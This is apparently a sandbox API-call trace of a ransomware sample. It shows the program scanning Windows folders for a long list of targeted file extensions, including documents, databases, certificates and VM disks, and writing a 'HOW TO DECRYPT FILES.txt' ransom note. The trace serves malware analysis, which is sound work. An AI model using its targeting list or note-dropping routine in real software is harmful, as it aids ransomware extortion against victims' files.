PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.htm") returned 0 [0104.048] lstrlenA (lpString="*.htm") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.xlsx") returned 0 [0104.048] lstrlenA (lpString="*.xlsx") returned 6 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.xls") returned 0 [0104.048] lstrlenA (lpString="*.xls") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mp4") returned 0 [0104.048] lstrlenA (lpString="*.mp4") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.ppt") returned 0 [0104.048] lstrlenA (lpString="*.ppt") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.pptx") returned 0 [0104.048] lstrlenA (lpString="*.pptx") returned 6 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.doc") returned 0 [0104.048] lstrlenA (lpString="*.doc") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.dot") returned 0 [0104.048] lstrlenA (lpString="*.dot") returned 5 [0104.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.docx") returned 0 [0104.049] lstrlenA (lpString="*.docx") returned 6 [0104.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.7z") returned 0 [0104.049] lstrlenA (lpString="*.7z") returned 4 [0104.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.tar") returned 0 [0104.049] lstrlenA (lpString="*.tar") returned 5 [0104.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.bz2") returned 0 [0104.066] lstrlenA (lpString="*.bz2") returned 5 [0104.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.gz") returned 0 [0104.066] lstrlenA (lpString="*.gz") returned 4 [0104.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mkv") returned 0 [0104.066] lstrlenA (lpString="*.mkv") returned 5 [0104.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.eml") returned 0 [0104.066] lstrlenA (lpString="*.eml") returned 5 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.msg") returned 0 [0104.067] lstrlenA (lpString="*.msg") returned 5 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.edb") returned 0 [0104.067] lstrlenA (lpString="*.edb") returned 5 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.accdb") returned 0 [0104.067] lstrlenA (lpString="*.accdb") returned 7 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.odb") returned 0 [0104.067] lstrlenA (lpString="*.odb") returned 5 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.java") returned 0 [0104.067] lstrlenA (lpString="*.java") returned 6 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.asm") returned 0 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.pfx") returned 0 [0104.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.pem") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.p12") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.gpg") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.vsd") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.odg") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.raw") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.nef") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.svg") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.psd") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.vmx") returned 0 [0104.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.vmdk") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.vdi") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.lay6") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mpeg") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.djvu") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.tiff") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.backup") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.pdf") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.cert") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.docm") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.xlsm") returned 0 [0104.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.dwg") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.nd") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.tlg") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.lgb") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mov") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.xdw") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.ods") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.wav") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.mp3") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.aiff") returned 0 [0104.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.flac") returned 0 [0104.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.m4a") returned 0 [0104.071] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll", pszSpec="*.csv") returned 0 [0104.071] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8c7a52, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xec8c7a52, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xecb29056, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xaf5400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorlib.ni.dll", cAlternateFileName="MSCORL~1.DLL")) returned 0 [0104.071] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.071] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedd9baf8, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xedd9baf8, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xedd9baf8, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="62a0b3e4b40ec0e8c5cfaa0c8848e64a", cAlternateFileName="62A0B3~1")) returned 0 [0104.071] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.071] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x73006d, dwReserved1=0x6f0063, cFileName="napcrypt", cAlternateFileName="")) returned 1 [0104.071] lstrcmpA (lpString1=".", lpString2="napcrypt") returned -1 [0104.071] lstrcmpA (lpString1="..", lpString2="napcrypt") returned -1 [0104.071] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.071] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="napcrypt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt" [0104.072] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.078] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.078] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.078] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.078] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="09b65f9c3f78e6ef3e259af945e937b9", cAlternateFileName="09B65F~1")) returned 1 [0104.078] lstrcmpA (lpString1=".", lpString2="09b65f9c3f78e6ef3e259af945e937b9") returned -1 [0104.078] lstrcmpA (lpString1="..", lpString2="09b65f9c3f78e6ef3e259af945e937b9") returned -1 [0104.078] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\*.*") returned="*.*" [0104.078] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\", lpString2="09b65f9c3f78e6ef3e259af945e937b9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9" [0104.079] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.079] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.079] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.079] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.079] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.079] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b868df9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b868df9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b868df9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napcrypt.ni.dll", cAlternateFileName="NAPCRY~1.DLL")) returned 1 [0104.079] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napcrypt.ni.dll") returned -1 [0104.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napcrypt.ni.dll") returned -1 [0104.079] lstrcmpiA (lpString1="", lpString2="napcrypt.ni.dll") returned -1 [0104.079] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\*.*") returned="*.*" [0104.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\" [0104.079] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\") returned="" [0104.080] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\HOW TO DECRYPT FILES.txt" [0104.080] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\how to decrypt files.txt")) returned 0xffffffff [0104.080] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.081] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.083] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.084] CloseHandle (hObject=0x90) returned 1 [0104.085] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\", lpString2="napcrypt.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll" [0104.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.ems") returned 0 [0104.085] lstrlenA (lpString="*.ems") returned 5 [0104.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.db") returned 0 [0104.085] lstrlenA (lpString="*.db") returned 4 [0104.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.dbf") returned 0 [0104.085] lstrlenA (lpString="*.dbf") returned 5 [0104.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.myox") returned 0 [0104.086] lstrlenA (lpString="*.myox") returned 6 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.myo") returned 0 [0104.086] lstrlenA (lpString="*.myo") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbw") returned 0 [0104.086] lstrlenA (lpString="*.qbw") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbb") returned 0 [0104.086] lstrlenA (lpString="*.qbb") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbm") returned 0 [0104.086] lstrlenA (lpString="*.qbm") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbo") returned 0 [0104.086] lstrlenA (lpString="*.qbo") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbx") returned 0 [0104.086] lstrlenA (lpString="*.qbx") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qba") returned 0 [0104.086] lstrlenA (lpString="*.qba") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qby") returned 0 [0104.086] lstrlenA (lpString="*.qby") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qbj") returned 0 [0104.086] lstrlenA (lpString="*.qbj") returned 5 [0104.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.ofx") 